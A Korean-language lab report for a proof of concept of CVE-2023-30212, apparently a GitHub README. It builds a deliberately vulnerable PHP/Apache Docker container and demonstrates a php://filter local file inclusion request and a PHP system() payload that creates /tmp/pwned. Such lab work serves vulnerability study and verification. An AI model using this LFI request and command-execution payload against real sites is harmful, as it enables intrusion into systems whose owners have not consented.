
PoC for CVE-2023-30212 using Docker
PoC for CVE-2023-30212 using Docker
이 보고서는 Vulhub에 없는 CVE-2023-30212 취약점을 대상으로 Docker 기반의 취약한 웹 환경을 직접 구성하고, PoC를 통해 해당 취약점을 입증한 내용을 담고 있습니다.
php:8.1-apache/var/www/html 디렉터리에 vulnerable.php와 malicious.php 복사8088 포트로 외부 접속 가능
| 파일명 | 설명 |
|---|---|
vulnerable.php | LFI 취약점이 존재하는 PHP 파일 |
malicious.php | 시스템 명령을 실행하는 악성 PHP 파일 |
docker-compose.yml |
---
docker-compose up -d
컨테이너 이름: cve-2023-30212-cve-lfi-1
Apache 서버가 실행되며 http://localhost:8088에서 접속 가능
http://localhost:8088/vulnerable.php?file=php://filter/convert.base64-encode/resource=malicious.php
출력 결과를 디코딩하면 아래 PHP 코드가 확인됩니다:
<?php system("touch /tmp/pwned"); ?>
http://localhost:8088/malicious.php
명령어 실행 후, /tmp/pwned 파일이 생성되어야 합니다.
docker exec -it cve-2023-30212-cve-lfi-1 ls /tmp
결과에 pwned 파일이 존재하면 성공입니다.
php://filter 기반 LFI 취약점을 통해 악성 파일 내용 확인 및 디코딩 성공
system() 함수가 포함된 악성 PHP 호출을 통해 임의 명령어 실행 성공
/tmp/pwned 파일이 생성됨으로써 PoC 검증 완료
| 컨테이너 구성을 위한 설정 파일 |
Dockerfile | 도커 이미지 생성을 위한 설정 파일 |